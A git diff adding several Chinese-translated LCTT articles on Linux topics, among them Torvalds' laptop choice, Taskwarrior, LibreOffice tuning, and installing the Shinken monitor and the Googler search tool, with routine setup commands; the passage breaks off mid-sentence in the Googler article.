透露他编程最喜欢使用的笔记本 +================= + +> 是戴尔 XPS 13 开发者版。下面就是原因。 + +我最近和一些 Linux 开发者讨论了对于严谨的程序员来说,最好的笔记本是什么样的问题。结果,我从这些程序员的观点中筛选出了多款笔记本电脑。那么依我之见赢家是谁呢?就是戴尔 XPS 13 开发者版。和我观点一样的大有人在。Linux的缔造者 Linus Torvalds 也认同这个观点。对于他来说,戴尔 XPS 13 开发者版大概是最好的笔记本电脑了。 + +![Linus Torvalds new favorite laptop is the Dell XPS 13 Developer Edition.](http://zdnet3.cbsistatic.com/hub/i/r/2016/07/18/702609c3-db38-4603-9f5f-4dcc3d71b140/resize/770xauto/50a8ba1c2acb1f0994aec2115d2e55ce/2016-dell-xps-13.jpg) + +Torvalds 的需求可能和你的不同。 + +在 Google+ 上,Torvalds 解释道,“第一:[我从来不把笔记本当成台式机的替代品][1],并且,我每年旅游不了几次。所以对于我来说,笔记本是一个相当专用的东西,并不是每日(甚至每周)都要使用,因此,主要的标准不是那种“差不多每天都使用”的标准,而是非常适合于旅游时使用。” + +因此,对于 Torvalds 来说,“我最后比较关心的一点是它是相当的小和轻,因为在会议上我可能一整天都需要带着它。我同样需要一个好的屏幕,因为到目前为止,我主要是在桌子上使用它,我希望文字的显示小而且清晰。” + +戴尔的显示器是由 Intel's Iris 540 GPU 支持的。在我的印象中,它表现的非常的不错。 + +Iris 驱动了 13.3 英寸的 3200×1800 的显示屏。每英寸有 280 像素,比我喜欢的 [2015 年的 Chromebook Pixel][2] 多了 40 个像素,比 [Retina 屏的 MacBook Pro][3] 还要多 60 个像素。 + +然而,要让上面说的硬件配置在 [Gnome][4] 桌面上玩好也不容易。正如 Torvalds 在另一篇文章解释的那样,它“[和我的桌面电脑有一样的分辨率][5],但是,显然因为笔记本的显示屏更小,Gnome 桌面似乎自己做了个艰难的决定,认为我需要 2 倍的自动缩放比例,这简直愚蠢到炸裂(例如窗口显示,图标等)。” + +解决方案?你不用想着在用户界面里面找了。你需要在 shell下运行:`gsettings set org.gnome.desktop.interface scaling-factor 1`。 + +Torvalds 或许使用 Gnome 桌面,但是他不是很喜欢 Gnome 3.x 系列。这一点上我跟他没有不同意见。这就是为什么我使用 [Cinnamon][7] 来代替。 + +他还希望“一个相当强大的 CPU,因为当我旅游的时候,我依旧需要编译 Linux 内核很多次。我并不会像在家那样每次 pull request 都进行一次完整的“make allmodconfig”编译,但是我希望可以比我以前的笔记本多编译几次,实际上,这(也包括屏幕)应该是我想升级的主要原因。” + +Linus 没有描述他的 XPS 13 的细节,但是我测评过的那台是一个高端机型。它带有双核 2.2GHz 的第 6 代英特尔的酷睿 i7-6550U Skylake 处理器,16GBs DDR3 内存,以及一块半 TB (500GB)的 PCIe 固态硬盘(SSD)。我可以肯定,Torvalds 的系统至少是精良装备。” + +一些你或许会关注的特征没有在 Torvalds 的清单中: + +> “我不会关心的是触摸屏,因为我的手指相对于我所看到的文字是又大又笨拙(我也无法处理污渍:也许我的手指特别油腻,但是我真的不想碰那些屏幕)。 + +> 我并不十分关心那些“一整天的电池寿命”,因为坦率的讲,我不记得上次没有接入电源时什么时候了。我可能着急忙慌而忘记插电,但它不是一个天大的问题。现在电池的寿命“超过两小时”,我只是不那么在乎了。” + +戴尔声称,XPS 13,搭配 56 瓦小时的 4 芯电池,拥有 12 小时的电池寿命。以我的使用经验它已经很好的用过了 10 个小时。我从没有尝试过把电量完全耗完是什么状态。 + +Torvalds 也没有遇到 Intel 的 Wi-Fi 设备问题。非开发者版使用 Broadcom 的芯片设备,已经被 Windows 和 Linux 用户发现了一些问题。戴尔的技术支持对于我来解决这些问题非常有帮助。 + +一些用户在使用 XPS 13 触摸板的时候,遇到了问题。Torvalds 和我都几乎没有什么困扰。Torvalds 写到,“XPS13 触摸板对于我来说运行的非常好。这可能只是个人喜好,但它操作起来比较流畅,响应比较快。” + +不过,尽管 Torvalds 喜欢 XPS 13,他同时也钟情于最新版的联想 X1 Carbon、惠普 Spectre 13 x360,和去年的联想 Yoga 900。至于我?我喜欢 XPS 13 开发者版。至于价钱,我以前测评过的型号是 $1949.99,可能刷你的信用卡就够了。 + +因此,如果你希望像世界上顶级的程序员之一一样开发的话,Dell XPS 13 开发者版对得起它的价格。 + +-------------------------------------------------------------------------------- + +via: http://www.zdnet.com/article/linus-torvalds-reveals-his-favorite-programming-laptop/ + +作者:[Steven J. Vaughan-Nichols][a] +译者:[yangmingming](https://github.com/yangmingming) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.zdnet.com/meet-the-team/us/steven-j-vaughan-nichols/ +[1]: https://plus.google.com/+LinusTorvalds/posts/VZj8vxXdtfe +[2]: http://www.zdnet.com/article/the-best-chromebook-ever-the-chromebook-pixel-2015/ +[3]: http://www.zdnet.com/product/apple-15-inch-macbook-pro-with-retina-display-mid-2015/ +[4]: https://www.gnome.org/ +[5]: https://plus.google.com/+LinusTorvalds/posts/d7nfnWSXjfD +[6]: http://www.zdnet.com/article/linus-torvalds-finds-gnome-3-4-to-be-a-total-user-experience-design-failure/ +[7]: http://www.zdnet.com/article/how-to-customise-your-linux-desktop-cinnamon/ diff --git a/published/201609/20160913 Taskwarrior - A Brilliant Command-Line TODO App For Linux.md b/published/201609/20160913 Taskwarrior - A Brilliant Command-Line TODO App For Linux.md new file mode 100644 index 0000000000..62ab087c7a --- /dev/null +++ b/published/201609/20160913 Taskwarrior - A Brilliant Command-Line TODO App For Linux.md @@ -0,0 +1,54 @@ +Taskwarrior:Linux 下一个很棒的命令行 TODO 工具 +============== + +Taskwarrior 是 Ubuntu/Linux 下一个简单而直接的基于命令行的 TODO 工具。这个开源软件是我曾用过的最简单的[基于命令行的工具][4]之一。Taskwarrior 可以帮助你更好地组织你自己,而不用安装笨重的新工具——这有时丧失了 TODO 工具的目的。 + +![](https://2.bp.blogspot.com/-pQnRlOUNIxk/V9cuc3ytsBI/AAAAAAAAKHs/yYxyiAk4PwMIE0HTxlrm6arWOAPcBRRywCLcB/s1600/taskwarrior-todo-app.png) + +### Taskwarrior:一个基于简单的基于命令行帮助完成任务的TODO工具 + +Taskwarrior是一个开源、跨平台、基于命令行的 TODO 工具,它帮你在终端中管理你的 to-do 列表。这个工具让你可以轻松地添加任务、展示列表、移除任务。而且,在你的默认仓库中就有,不用安装新的 PPA。在 Ubuntu 16.04 LTS 或者相似的发行版中。在终端中按照如下步骤安装 Taskwarrior。 + +``` +sudo apt-get install task +``` + +简单的用如下: + +``` +$ task add Read a book +Created task 1. +$ task add priority:H Pay the bills +Created task 2. +``` + +我使用上面截图中的同样一个例子。是的,你可以设置优先级(H、L 或者 M)。并且你可以使用‘task’或者‘task next’命令来查看你最新创建的 to-do 列表。比如: + +``` +$ task next + +ID Age P Description Urg +-- --- - -------------------------------- ---- + 2 10s H Pay the bills 6 + 1 20s Read a book 0 +``` + +完成之后,你可以使用 ‘task 1 done’ 或者 ‘task 2 done’ 来清除列表。[可以在这里][1]找到更加全面的命令和使用案例。同样,Taskwarrior 是跨平台的,这意味着不管怎样,你都可以找到一个[满足你需求][2]的版本。如果你需要的话,这里甚至有[一个安卓版][3]。祝您用得开心! + +-------------------------------------------------------------------------------- + +via: http://www.techdrivein.com/2016/09/taskwarrior-command-line-todo-app-linux.html + +作者:[Manuel Jose][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.techdrivein.com/2016/09/taskwarrior-command-line-todo-app-linux.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+techdrivein+%28Tech+Drive-in%29 +[1]: https://taskwarrior.org/docs/ +[2]: https://taskwarrior.org/download/ +[3]: https://taskwarrior.org/news/news.20160225.html +[4]: http://www.techdrivein.com/search/label/Terminal + + diff --git a/published/201609/20160914 How to Speed Up LibreOffice with 4 Simple Steps.md b/published/201609/20160914 How to Speed Up LibreOffice with 4 Simple Steps.md new file mode 100644 index 0000000000..aaf95ae6e4 --- /dev/null +++ b/published/201609/20160914 How to Speed Up LibreOffice with 4 Simple Steps.md @@ -0,0 +1,78 @@ +如何用四个简单的步骤加速 LibreOffice +==== + +![](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2016/08/speed-up-libreoffice-featured-2.jpg) + +对于许多许多开源软件的粉丝和支持者来说,LibreOffice 是 Microsoft Office 最好的替代品,在最近的一些发布版本中可以看到它明显有了巨大的改进。然而,初始启动的体验仍然距离期望有所距离。有一些方法可以缩短 LibreOffice 的启动时间并改善它的整体性能。 + +在下面的段落里,我将会展示一些实用性的步骤,你可以通过它们来改善 LibreOffice 的加载时间和响应能力。 + +### 1. 增加每个对象和图像缓存的内存占用 + +这将可以通过分配更多的内存资源给图像缓存和对象来加快程序的加载时间。 + +1. 启动 LibreOffice Writer (或者 Calc)。 +2. 点击菜单栏上的 “工具 -> 选项” 或者按键盘上的快捷键“Alt + F12”。 +3. 点击 LibreOffice 下面的“内存”然后增加“用于 LibreOffice” 到 128MB。 +4. 同样的增加“每个对象的内存占用”到 20MB。 +5. 点击确定来保存你的修改。 + +![](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2016/08/speed-up-libreoffice-step-1.png) + +注意:你可以根据自己机器的性能把数值设置得比建议值的高一些或低一些。最好通过亲自体验来看看什么值能够让机器达到最佳性能。 + +### 2.启用 LibreOffice 的快速启动器(QuickStarter) + +如果你的机器上有足够大的内存,比如 4GB 或者更大,你可以启用“系统托盘快速启动器”,从而让 LibreOffice 的一部分保持在内存中,在打开新文件时能够快速反应。 + +在启用这个选择以后,你会清楚的看到在打开新文件时它的性能有了很大的提高。 + +1. 通过点击“工具 -> 选项”来打开选项对话框。 +2. 在 “LibreOffice” 下面的侧边栏选择“内存”。 +3. 勾选“启用系统托盘快速启动器”复选框。 +4. 点击“确定”来保存修改。 + +![](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2016/08/speed-up-libreoffice-2.png) + +一旦这个选项启用以后,你将会在你的系统托盘看到 LibreOffice 图标,以及可以打开任何类型的文件的选项。 + +### 3. 禁用 Java 运行环境 + +另一个加快 LibreOffice 加载时间和响应能力的简单方法是禁用 Java。 + +1. 同时按下“Alt + F12”打开选项对话框。 +2. 在侧边栏里,选择“Libreoffice”,然后选择“高级”。 +3. 取消勾选“使用 Java 运行环境”选项。 +4. 点击“确定”来关闭对话框。 + +![](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2016/08/speed-up-libreoffice-3.png) + +如果你只使用 Writer 和 Calc,那么关闭 Java 不会影响你正常使用,但如果你需要使用 LibreOffice Base 和一些其他的特性,那么你可能需要重新启用它。在那种情况,将会弹出一个框询问你是否希望再次打开它。 + +### 4. 减少使用撤销步骤 + +默认情况下,LibreOffice 允许你撤销一个文件的多达 100 个改变。绝大多数用户不需要这么多,所以在内存中保留这么多撤销步骤是对资源的巨大浪费。 + +我建议减少撤销步骤到 20 次以下来为其他东西释放内存,但是这个部分需要根据你自己的需求来确定。 + +1. 通过点击 “工具 -> 选项”来打开选项对话框。 +2. 在 “LibreOffice” 下面的侧边栏,选择“内存”。 +3. 在“撤销”下面把步骤数目改成最适合你的值。 +4. 点击“确定”来保存修改。 + +![](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2016/08/speed-up-libreoffice-5.png) + +假如你这些技巧为加速你的 LibreOffice 套件的加载时间提供了帮助,请在评论里告诉我们。同样,请分享你知道的任何其他技巧来给其他人带来帮助。 + +-------------------------------------------------------------------------------- + +via: https://www.maketecheasier.com/speed-up-libreoffice/ + + +作者:[Ayo Isaiah][a] +译者:[ucasFL](https://github.com/ucasFL) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.maketecheasier.com/author/ayoisaiah/ diff --git a/published/201609/20160914 It's time to make LibreOffice and OpenOffice one again.md b/published/201609/20160914 It's time to make LibreOffice and OpenOffice one again.md new file mode 100644 index 0000000000..b14281c70a --- /dev/null +++ b/published/201609/20160914 It's time to make LibreOffice and OpenOffice one again.md @@ -0,0 +1,63 @@ +是时候合并 LibreOffice 和 OpenOffice 了 +========== + +![](http://tr2.cbsistatic.com/hub/i/2016/09/14/2e91089b-7ebd-4579-bf8f-74c34d1a94ce/e7e9c8dd481d8e068f2934c644788928/openofficedeathhero.jpg) + +先说下 OpenOffice。可能你已经无数次地看到说 Apache OpenOffice 即将结束。上一个稳定版本是 4.1.2 (发布于 2015 年 10 月),而最近的一个严重安全漏洞用了一个月才打上补丁。编码人员的缺乏使得开发如爬行前进一般。然后,可能是最糟糕的消息了:这个项目建议用户切换到 [MS Office](https://products.office.com/)(或 [LibreOffice](https://www.libreoffice.org/download/))。 + +丧钟为谁而鸣?丧钟为你而鸣,OpenOffice。 + +我想说些可能会惹恼一些人的话。你准备好了吗? + +OpenOffice 的终止对开源和用户来说都将是件好事。 + +让我解释一下。 + +### 一个分支统治所有 + +当 LibreOffice 从 OpenOffice 分支出来后,我们看到了另一个情况:分支不只在原始基础上进行改进,而且大幅超越了它。LibreOffice 一举成功。所有之前预装 OpenOffice 的 Linux 发行版都迁移到了这个新项目。LibreOffice 从起跑线突然冲出,并迅速迈出了一大步。更新以极快的速度发布,改善内容丰富而重要。 + +不久后,OpenOffice 就被开源社区丢在了脑后。当 2011 年 Oracle 决定终止这个项目并把代码捐赠给 Apache 项目时,这种情况自然更加恶化了。从此 OpenOffice 艰难前进,然后把我们就看到了现在这种局面:一个生机勃勃的 LibreOffice 和一个艰难的、缓慢的 OpenOffice。 + +但我认为在这个相当昏暗的隧道末尾有一丝曙光。 + +### 合并他们 + +这听起来可能很疯狂,但我认为是时候把 LibreOffice 和 OpenOffice 合二为一了。是的,我知道很可能有政治考虑和自尊意识,但我认为合并成一个会更好。合并的好处很多。我首先能想到的是: + +- 把 MS Office 过滤器整合起来:OpenOffice 在更好地导入某些 MS Office 文件上功能很强(而众所周知 LibreOffice 正在改进,但时好时坏) +- LibreOffice 有更多开发者:尽管 OpenOffice 的开发者数量不多,但也无疑会增加到合并后的项目。 +- 结束混乱:很多用户以为 OpenOffice 和 LibreOffice 是同一个东西。有些甚至不知道 LibreOffice 存在。这将终结那些混乱。 +- 合并他们的用户量:OpenOffice 和 LibreOffice 各自拥有大量用户。联合后,他们将是个巨大的力量。 + +### 宝贵机遇 + +OpenOffice 的终止实际上会成为整个开源办公套件行业的一个宝贵机遇。为什么?我想表明有些东西我认为已经需要很久了。如果 OpenOffice 和 LibreOffice 集中他们的力量,比较他们的代码并合并,他们之后就可以做一些更必要的改进工作,不仅是整体的内部工作,也包括界面。 + +我们得面对现实,LibreOffice 和(相关的) OpenOffice 的用户界面都是过时的。当我安装 LibreOffice 5.2.1.2 时,工具栏绝对是个灾难(见下图)。 + +![](http://tr2.cbsistatic.com/hub/i/2016/09/14/cc5250df-48cd-40e3-a083-34250511ffab/c5ac8eb1e2cb12224690a6a3525999f0/openofficea.jpg) + +*LibreOffice 默认工具栏显示* + +尽管我支持和关心(并且日常使用)LibreOffice,但事实已经再清楚不过了,界面需要完全重写。我们正在使用的是 90 年代末/ 2000 年初的复古界面,它必须得改变了。当新用户第一次打开 LibreOffice 时,他们会被淹没在大量按钮、图标和工具栏中。Ubuntu Unity 的平视显示(Head up Display,简称 HUD)帮助解决了这个问题,但那并不适用于其它桌面和发行版。当然,有经验的用户知道在哪里找什么(甚至定制工具栏以满足特殊的需要),但对新用户或普通用户,那种界面是个噩梦。现在是做出改变的一个好时机。引入 OpenOffice 最后残留的开发者并让他们加入到改善界面的战斗中。借助于整合 OpenOffice 额外的导入过滤器和现代化的界面,LibreOffice 终能在家庭和办公桌面上都引起一些轰动。 + +### 这会真的发生吗? + +这需要发生。但是会发生吗?我不知道。但即使掌权者决定用户界面并不需要重组(这会是个失误),合并 OpenOffice 仍是前进的一大步。合并两者将带来开发的更专注,更好的推广,公众更少的困惑。 + +我知道这可能看起来有悖于开源的核心精神,但合并 LibreOffice 和 OpenOffice 将能联合两者的力量,而且可能会摆脱弱点。 + +在我看来,这是双赢的。 + +-------------------------------------------------------------------------------- + +via: http://www.techrepublic.com/article/its-time-to-make-libreoffice-and-openoffice-one-again/ + +作者:[Jack Wallen][a] +译者:[bianjp](https://github.com/bianjp) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.techrepublic.com/search/?a=jack%2Bwallen diff --git a/published/201609/20160914 Server Monitoring with Shinken on Ubuntu 16.04.md b/published/201609/20160914 Server Monitoring with Shinken on Ubuntu 16.04.md new file mode 100644 index 0000000000..66a843275e --- /dev/null +++ b/published/201609/20160914 Server Monitoring with Shinken on Ubuntu 16.04.md @@ -0,0 +1,364 @@ +在 Ubuntu 16.04 上安装和使用服务器监控报警系统 Shinken +===== + +Shinken 是一个用 Python 实现的开源的主机和网络监控框架,并与 Nagios like 兼容,它可以运行在所有支持 Python 程序的操作系统上,比如说 Linux、Unix 和 Windows,Shinken 是 Jean Gabes 为了验证一个新的 Nagios 架构思路而编写,但是这个想法被 Nagios 的作者拒绝后成为了一个独立的网络系统监视软件,并保持了与 Nagios 的兼容。 + +在这篇教程中,我将会描述如何从源代码编译安装 Shinken 和向监视系统中添加一台 Linux 主机。我将会以 Ubuntu 16.04 Xenial Xerus 操作系统来作为 Shinken 服务器和所监控的主机。 + +### 第一步 安装 Shinken 服务器 + +Shinken 是一个 Python 框架,我们可以通过 `pip` 安装或者从源码来安装它,在这一步中,我们将用源代码编译安装 Shinken。 + +在我们开始安装 Shinken 之前还需要完成几个步骤。 + +安装一些新的 Python 软件包并创建一个名为 `shinken` 的系统用户: + +``` +sudo apt-get install python-setuptools python-pip python-pycurl +useradd -m -s /bin/bash shinken +``` + +从 GitHub 仓库下载 Shinken 源代码: + +``` +git clone https://github.com/naparuba/shinken.git +cd shinken/ +``` + +然后用以下命令安装 Shinken: + +``` +git checkout 2.4.3 +python setup.py install +``` + +然后,为了得到更好的效果,我们还需要从 Ubuntu 软件库中安装 `python-cherrypy3` 软件包: + +``` +sudo apt-get install python-cherrypy3 +``` + +到这里,Shinken 已经成功安装,接下来我们将 Shinken 添加到系统启动项并且启动它: + +``` +update-rc.d shinken defaults +systemctl start shinken +``` + +### 第二步 安装 Shinken Webui2 + +Webui2 是 Shinken 的 Web 界面(在 shinken.io 可以找到)。最简单的安装 Shinken webui2 的方法是使用shinken CLI 命令(必须作为 `shinken` 用户执行)。 + +切换到 shinken 用户: + +``` +su - shinken +``` + +初始化 shiken 配置文件,下面的命令将会创建一个新的配置文件 `.shinken.ini` : + +``` +shinken --init +``` + +接下来用 shinken CLI 命令来安装 `webui2`: + +``` +shinken install webui2 +``` + +![](https://www.howtoforge.com/images/server-monitoring-with-shinken-on-ubuntu-16-04/6.png) + +至此 webui2 已经安装好,但是我们还需要安装 MongoDB 和用 `pip` 来安装另一个 Python 软件包。在 root 下运行如下命令: + +``` +sudo apt-get install mongodb +pip install pymongo>=3.0.3 requests arrow bottle==0.12.8 +``` + +接下来,切换到 shinken 目录下并且通过编辑 `broker-master.cfg` 文件来添加这个新的 webui2 模块: + +``` +cd /etc/shinken/brokers/ +vim broker-master.cfg +``` + +在第 40 行添加一个模块选项: + +``` +modules webui2 +``` + +保存文件并且退出编辑器。 + +现在进入 `contacts` 目录下编辑 `admin.cfg` 来进行管理配置。 + +``` +cd /etc/shinken/contacts/ +vim admin.cfg +``` + +按照如下修改: + +``` +contact_name admin # Username 'admin' +password yourpass # Pass 'mypass' +``` + +保存和退出。 + +### 第三步 安装 Nagios 插件和 Shinken 软件包 + +在这一步中,我们将安装 Nagios 插件和一些 Perl 模块。然后从 shinken.io 安装其他的软件包来实现监视。 + +安装 Nagios 插件和安装 Perl 模块所需要的 `cpanminus`: + +``` +sudo apt-get install nagios-plugins* cpanminus +``` + +用 `cpanm` 命令来安装 Perl 模块。 + +``` +cpanm Net::SNMP +cpanm Time::HiRes +cpanm DBI +``` + +现在我们创建一个 `utils.pm` 文件的链接到 shinken 的目录,并且为 `Log_File_Health` 创建了一个新的日志目录 。 + +``` +chmod u+s /usr/lib/nagios/plugins/check_icmp +ln -s /usr/lib/nagios/plugins/utils.pm /var/lib/shinken/libexec/ +mkdir -p /var/log/rhosts/ +touch /var/log/rhosts/remote-hosts.log +``` + +然后,从 shinken.io 安装 shinken 软件包 `ssh` 和 `linux-snmp` 来监视 SSH 和 SNMP : + +``` +su - shinken +shinken install ssh +shinken install linux-snmp +``` + +### 第四步 添加一个 Linux 主机 host-one + +我们将添加一个新的将被监控的 Linux 主机,IP 地址为 192.168.1.121,主机名为 host-one 的 Ubuntu 16.04。 + +连接到 host-one 主机: + +``` +ssh host1@192.168.1.121 +``` + +从 Ubuntu 软件库中安装 snmp 和snmpd 软件包: + +``` +sudo apt-get install snmp snmpd +``` + +然后,用 `vim` 编辑 `snmpd.conf` 配置文件: + +``` +vim /etc/snmp/snmpd.conf +``` + +注释掉第 15 行并取消注释第 17 行: + +``` +#agentAddress udp:127.0.0.1:161 +agentAddress udp:161,udp6:[::1]:161 +``` + +注释掉第 51 和 53 行,然后加一行新的配置,如下: + +``` +#rocommunity mypass default -V systemonly +#rocommunity6 mypass default -V systemonly + +rocommunity mypass +``` + +保存并退出。 + +现在用 `systemctl` 命令来启动 `snmpd` 服务: + +``` +systemctl start snmpd +``` + +在 shinken 服务器上通过在 `hosts` 文件夹下创建新的文件来定义一个新的主机: + +``` +cd /etc/shinken/hosts/ +vim host-one.cfg +``` + +粘贴如下配置信息: + +``` +define host{ + use generic-host,linux-snmp,ssh + contact_groups admins + host_name host-one + address 192.168.1.121 + _SNMPCOMMUNITY mypass # SNMP Pass Config on snmpd.conf + } +``` + +保存并退出。 + +在 shinken 服务器上编辑 SNMP 配置文件。 + +``` +vim /etc/shinken/resource.d/snmp.cfg +``` + +将 `public` 改为 `mypass` -必须和你在客户端 `snmpd` 配置文件中使用的密码相同: + +``` +$SNMPCOMMUNITYREAD$=mypass +``` + +保存并退出。 + +现在将服务端和客户端都重启: + +``` +reboot +``` + +现在 Linux 主机已经被成功地添加到 shinken 服务器中了。 + +### 第五步 访问 Shinken Webui2 + +在端口 7677 访问 Shinken webui2 (将 URL 中的 IP 替换成你自己的 IP 地址): + +``` +http://192.168.1.120:7767 +``` + +用管理员用户和密码登录(你在 admin.cfg 文件中设置的) + +![](https://www.howtoforge.com/images/server-monitoring-with-shinken-on-ubuntu-16-04/1.png) + +Webui2 中的 Shinken 面板: + +![](https://www.howtoforge.com/images/server-monitoring-with-shinken-on-ubuntu-16-04/2.png) + +我们的两个服务器正在被 Shinken 监控: + +![](https://www.howtoforge.com/images/server-monitoring-with-shinken-on-ubuntu-16-04/3.png) + +列出所有被 linux-snmp 监控的服务: + +![](https://www.howtoforge.com/images/server-monitoring-with-shinken-on-ubuntu-16-04/4.png) + +所有主机和服务的状态信息: + +![](https://www.howtoforge.com/images/server-monitoring-with-shinken-on-ubuntu-16-04/5.png) + +### 第6步 Shinken 的常见问题 + +#### NTP 服务器相关的问题 + +当你得到如下的 NTP 错误提示 + +``` +TimeSync - CRITICAL ( NTP CRITICAL: No response from the NTP server) +TimeSync - CRITICAL ( NTP CRITICAL: Offset unknown ) +``` + +为了解决这个问题,在所有 Linux 主机上安装 ntp。 + +``` +sudo apt-get install ntp ntpdate +``` + +编辑 ntp 配置文件: + +``` +vim /etc/ntp.conf +``` + +注释掉所有 pools 并替换为: + +``` +#pool 0.ubuntu.pool.ntp.org iburst +#pool 1.ubuntu.pool.ntp.org iburst +#pool 2.ubuntu.pool.ntp.org iburst +#pool 3.ubuntu.pool.ntp.org iburst + +pool 0.id.pool.ntp.org +pool 1.asia.pool.ntp.org +pool 0.asia.pool.ntp.org +``` + +然后,在新的一行添加如下限制规则: + +``` +# Local users may interrogate the ntp server more closely. +restrict 127.0.0.1 +restrict 192.168.1.120 #shinken server IP address +restrict ::1 +NOTE: 192.168.1.120 is the Shinken server IP address. +``` + +保存并退出。 + +启动 ntp 并且检查 Shinken 面板。 + +``` +ntpd +``` + +#### check_netint.pl Not Found 问题 + +从 github 仓库下载源代码到 shinken 的库目录下: + +``` +cd /var/lib/shinken/libexec/ +wget https://raw.githubusercontent.com/Sysnove/shinken-plugins/master/check_netint.pl +chmod +x check_netint.pl +chown shinken:shinken check_netint.pl +``` + +#### 网络占用的问题 + +这是错误信息: + +``` +ERROR : Unknown interface eth\d+ +``` + +检查你的网络接口并且编辑 `linux-snmp` 模版。 + +在我的 Ununtu 服务器,网卡是 “enp0s8”,而不是 eth0,所以我遇到了这个错误。 + +`vim` 编辑 `linux-snmp` 模版: + +``` +vim /etc/shinken/packs/linux-snmp/templates.cfg +``` + +在第 24 行添加网络接口信息: + +``` +_NET_IFACES eth\d+|em\d+|enp0s8 +``` + +保存并退出。 + +-------------------------------------------------------------------------------- + +via: https://www.howtoforge.com/tutorial/server-monitoring-with-shinken-on-ubuntu-16-04/ + +作者:[Muhammad Arul][a] +译者:[LinuxBars](https://github.com/LinuxBars) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.howtoforge.com/tutorial/server-monitoring-with-shinken-on-ubuntu-16-04/ +Save and exit. diff --git a/published/201609/20160915 GOOGLER - NOW YOU CAN GOOGLE FROM LINUX TERMINAL.md b/published/201609/20160915 GOOGLER - NOW YOU CAN GOOGLE FROM LINUX TERMINAL.md new file mode 100644 index 0000000000..56ca6e8194 --- /dev/null +++ b/published/201609/20160915 GOOGLER - NOW YOU CAN GOOGLE FROM LINUX TERMINAL.md @@ -0,0 +1,140 @@ +Googler:现在可以 Linux 终端下进行 Google 搜索了! +============================================ + +![](https://itsfoss.com/wp-content/uploads/2016/09/google-from-linux-terminal.jpg) + +一个小问题:你每天做什么事?当然了,好多事情,但是我可以指出一件事,你几乎每天(如果不是每天)都会用 Google 搜索,我说的对吗?(LCTT 译注:Google 是啥?/cry ) + +现在,如果你是一位 Linux 用户(我猜你也是),这里有另外一个问题:如果你甚至不用离开终端就可以进行 Google 搜索那岂不是相当棒?甚至不用打开一个浏览器窗口? + +如果你是一位类 [*nix][7] 系统的狂热者而且也是喜欢终端界面的人,我知道你的答案是肯定的,而且我认为,接下来你也将喜欢上我今天将要介绍的这个漂亮的小工具。它被称做 Googler。 + +### Googler:在你 linux 终端下的 google + +Googler 是一个简单的命令行工具,它用于直接在命令行窗口中进行 google 搜索,Googler 主要支持三种类型的 Google 搜索: + +- Google 搜索:简单的 Google 搜索,和在 Google 主页搜索是等效的。 +- Google 新闻搜索:Google 新闻搜索,和在 Google News 中的搜索一样。 +- Google 站点搜索:Google 从一个特定的网站搜索结果。 + +Googler 用标题、链接和网页摘要来显示搜索结果。搜索出来的结果可以仅通过两个按键就可以在浏览器里面直接打开。 + +![](https://itsfoss.com/wp-content/uploads/2016/09/googler-1.png) + +### 在 Ubuntu 下安装 Googler + +先让我们进行软件的安装。 + +首先确保你的 python 版本大于等于 3.3,可以用以下命令查看。 + +``` +python3 --version +``` + +如果不是的话,就更新一下。Googler 要求 python 版本 3.3 及以上运行。 + +虽然 Googler 现在还不能在 Ununtu 的软件库中找到,我们可以很容易地从 GitHub 仓库中安装它。我们需要做的就是运行以下命令: + +``` +cd /tmp +git clone https://github.com/jarun/googler.git +cd googler +sudo make install +cd auto-completion/bash/ +sudo cp googler-completion.bash /etc/bash_completion.d/ +``` + +这样 Googler 就带着命令自动完成特性安装完毕了。 + +### 特点 & 基本用法 + +如果我们快速浏览它所有的特点,我们会发现 Googler 实际上是一个十分强大的工具,它的一些主要特点就是: + +#### 交互界面 + +在终端下运行以下命令: + +``` +googler +``` + +交互界面就会被打开,Googler 的开发者 [Arun Prakash Jana][1] 称之为全向提示符(omniprompt),你可以输入 `?` 去寻找可用的命令参数: + +![](https://itsfoss.com/wp-content/uploads/2016/09/googler-2.png) + +在提示符处,输入任何搜索词汇关键字去开始搜索,然后你可以输入`n`或者`p`导航到搜索结果的后一页和前一页。 + +要在浏览器窗口中打开搜索结果,直接输入搜索结果的编号,或者你可以输入 `o` 命令来打开这个搜索网页。 + +#### 新闻搜索 + +如果你想去搜索新闻,直接以`N`参数启动 Googler: + +``` +googler -N +``` + +随后的搜索将会从 Google News 抓取结果。 + +#### 站点搜索 + +如果你想从某个特定的站点进行搜索,以`w 域名`参数启动 Googler: + +``` +googler -w itsfoss.com +``` + +随后的搜索会只从这个博客中抓取结果! + +#### 手册页 + +运行以下命令去查看 Googler 的带着各种用例的手册页: + +``` +man googler +``` + +#### 指定国家/地区的 Google 搜索引擎 + +``` +googler -c in "hello world" +``` + +上面的示例命令将会开始从 Google 的印度域名搜索结果(in 代表印度) + +还支持: + +- 通过时间和语言偏好来过滤搜索结果 +- 支持 Google 查询关键字,例如:`site:example.com` 或者 `filetype:pdf` 等等 +- 支持 HTTPS 代理 +- Shell 命令自动补全 +- 禁用自动拼写纠正 + +这里还有更多特性。你可以用 Googler 去满足你的需要。 + +Googler 也可以和一些基于文本的浏览器整合在一起(例如:[elinks][2]、[links][3]、[lynx][4]、w3m 等),所以你甚至都不用离开终端去浏览网页。在 [Googler 的 GitHub 项目页][5]可以找到指导。 + +如果你想看一下 Googler 不同的特性的视频演示,方便的话你可以查看 GitHub 项目页附带的终端记录演示页: [jarun/googler v2.7 quick demo][6]。 + +### 对于 Googler 的看法? + +尽管 